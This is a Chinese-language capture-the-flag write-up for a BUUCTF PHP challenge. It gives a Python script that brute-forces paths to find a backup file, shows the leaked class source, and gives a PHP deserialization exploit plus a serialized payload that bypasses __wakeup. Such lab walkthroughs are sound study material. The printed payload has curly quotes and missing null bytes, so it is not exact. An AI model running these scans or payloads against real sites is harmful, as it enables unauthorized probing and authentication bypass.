[BUUCTF][极客大挑战 2019]PHP

备份

根据提示应该就是网站备份文件能被爆破出来

随手写了个爆破脚本,基于御剑字典,只供学习使用

import random
import requests
import time
from multiprocessing import Pool


def multiScan(target, file_name, pool_num, delay):
    local_pool = Pool(pool_num)
    dirs = get_path_dict(file_name)
    # for dir in dirs:
    #     scan(target, dir, delay)
    for dir in dirs:
        local_pool.apply_async(scan, args=(target, dir, delay))
    local_pool.close()
    local_pool.join()


def get_path_dict(file_name) -> dict:
    dir_dict = []
    with open(file_name, encoding="UTF-8") as f:
        for line in f.readlines():
            dir_dict.append(line.strip())
    print(file_name)
    return dir_dict


def scan(target, dir, delay) -> str:
    if 'http://' and 'https://' not in target:
        host = f"http://{target}{dir}"
    else:
        host = f"{target}{dir}"

    r = requests.get(url=host, headers=get_user_agent())
    if r.status_code == 200:
        if "Not Found" in r.text:
            print(host, "Not Found")
        else:
            print(host, "OK!")
    elif r.status_code == 429:  # request too many
        print(host, "request too many")
        time.sleep(random.randint(1, delay) * 0.1)
        scan(target, dir, delay)


def get_user_agent():
    user_agent_list = [
        {'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
         "Connection": "close"},
        {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00', "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2',
            "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15',
            "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10',
            "Connection": "close"},
        {'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2',
         "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0',
            "Connection": "close"},
        {'User-Agent': 'Opera/9.10 (Windows NT 5.2; U; en)', "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko)',
            "Connection": "close"},
        {'User-Agent': 'Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10',
         "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5',
            "Connection": "close"},
        {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3',
         "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16',
            "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20',
            "Connection": "close"},
        {
            'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
            "Connection": "close"},
        {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60', "Connection": "close"},
        {
            'User-Agent': 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4',
            "Connection": "close"},
        {'User-Agent': 'Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51',
         "Connection": "close"}
    ]
    return random.choice(user_agent_list)


if __name__ == '__main__':
    delay = 3  # 延迟毫秒
    p = 3  # 多进程
    # 目标
    target = "94f5112c-eaad-4403-89ff-dd840dc682f3.node4.buuoj.cn:81"
    # 字典目录
    dir_dict = "./dictionary/high_risk.txt"
    multiScan(target, dir_dict, p, delay)

源码分析

index.php

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

看出是php序列化漏洞,具体原理可以看别人的博客,这里不赘述
exp

<?php
class Name
{
	private $username = 'admin';
	private $password = '100';
}
$a = new Name();
echo serialize($a);
?>

更改原有属性值达到绕过过wakeup的效果，此时的类中属性值是2，我们只要将属性值改为大于2，即可绕过，如下改成3，便可以绕过：

O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;s:3:“100”;}

总结

反序列化漏洞